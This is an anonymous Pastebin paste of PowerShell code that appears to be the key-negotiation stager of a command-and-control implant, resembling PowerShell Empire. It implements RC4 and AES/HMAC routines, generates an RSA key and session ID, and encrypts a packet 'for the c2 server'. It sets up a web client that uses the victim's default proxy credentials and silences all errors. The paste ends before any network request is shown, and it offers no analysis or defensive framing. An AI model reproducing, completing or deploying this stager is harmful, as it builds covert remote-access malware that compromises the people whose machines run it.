Advertisement
Guest User

Untitled

a guest
Dec 18th, 2018
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.91 KB | None | 0 0
  1. function Start-Negotiate {
  2. param($s,$PK,$UB='Mozilla/6.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
  3.  
  4. function ConvertTo-RC4ByteStream {
  5. Param ($RCK, $In)
  6. begin {
  7. [Byte[]] $Str = 0..255;
  8. $J = 0;
  9. 0..255 | ForEach-Object {
  10. $J = ($J + $Str[$_] + $RCK[$_ % $RCK.Length]) % 256;
  11. $Str[$_], $Str[$J] = $Str[$J], $Str[$_];
  12. };
  13. $I = $J = 0;
  14. }
  15. process {
  16. ForEach($Byte in $In) {
  17. $I = ($I + 1) % 256;
  18. $J = ($J + $Str[$I]) % 256;
  19. $Str[$I], $Str[$J] = $Str[$J], $Str[$I];
  20. $Byte -bxor $Str[($Str[$I] + $Str[$J]) % 256];
  21. }
  22. }
  23. }
  24.  
  25. function Decrypt-Bytes {
  26. param ($Key, $In)
  27. if($In.Length -gt 32) {
  28. $HMAC = New-Object System.Security.Cryptography.HMACSHA256;
  29. $e=[System.Text.Encoding]::ASCII;
  30. # Verify the HMAC
  31. $Mac = $In[-10..-1];
  32. $In = $In[0..($In.length - 11)];
  33. $hmac.Key = $e.GetBytes($Key);
  34. $Expected = $hmac.ComputeHash($In)[0..9];
  35. if (@(Compare-Object $Mac $Expected -Sync 0).Length -ne 0) {
  36. return;
  37. }
  38.  
  39. # extract the IV
  40. $IV = $In[0..15];
  41. try {
  42. $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
  43. }
  44. catch {
  45. $AES=New-Object System.Security.Cryptography.RijndaelManaged;
  46. }
  47. $AES.Mode = "CBC";
  48. $AES.Key = $e.GetBytes($Key);
  49. $AES.IV = $IV;
  50. ($AES.CreateDecryptor()).TransformFinalBlock(($In[16..$In.length]), 0, $In.Length-16)
  51. }
  52. }
  53.  
  54. # make sure the appropriate assemblies are loaded
  55. $Null = [Reflection.Assembly]::LoadWithPartialName("System.Security");
  56. $Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");
  57.  
  58. # try to ignore all errors
  59. $ErrorActionPreference = "SilentlyContinue";
  60. $e=[System.Text.Encoding]::ASCII;
  61. $customHeaders = "";
  62. $PKB=$e.GetBytes($PK);
  63. # set up the AES/HMAC crypto
  64. # $PK -> staging key for this server
  65. try {
  66. $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
  67. }
  68. catch {
  69. $AES=New-Object System.Security.Cryptography.RijndaelManaged;
  70. }
  71.  
  72. $IV = [byte] 0..255 | Get-Random -count 16;
  73. $AES.Mode="CBC";
  74. $AES.Key=$PKB;
  75. $AES.IV = $IV;
  76.  
  77. $hmac = New-Object System.Security.Cryptography.HMACSHA256;
  78. $hmac.Key = $PKB;
  79.  
  80. $csp = New-Object System.Security.Cryptography.CspParameters;
  81. $csp.Flags = $csp.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore;
  82. $rs = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 2048,$csp;
  83. # export the public key in the only format possible...stupid
  84. $rk=$rs.ToXmlString($False);
  85.  
  86. # generate a randomized sessionID of 8 characters
  87. $ID=-join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 8);
  88.  
  89. # build the packet of (xml_key)
  90. $ib=$e.getbytes($rk);
  91.  
  92. # encrypt/HMAC the packet for the c2 server
  93. $eb=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib,0,$ib.Length);
  94. $eb=$eb+$hmac.ComputeHash($eb)[0..9];
  95.  
  96. # if the web client doesn't exist, create a new web client and set appropriate options
  97. # this only happens if this stager.ps1 code is NOT called from a launcher context
  98. if(-not $wc) {
  99. $wc=New-Object System.Net.WebClient;
  100. # set the proxy settings for the WC to be the default system settings
  101. $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
  102. $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  103. }
  104.  
  105. if ($Script:Proxy) {
  106. $wc.Proxy = $Script:Proxy;
  107. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement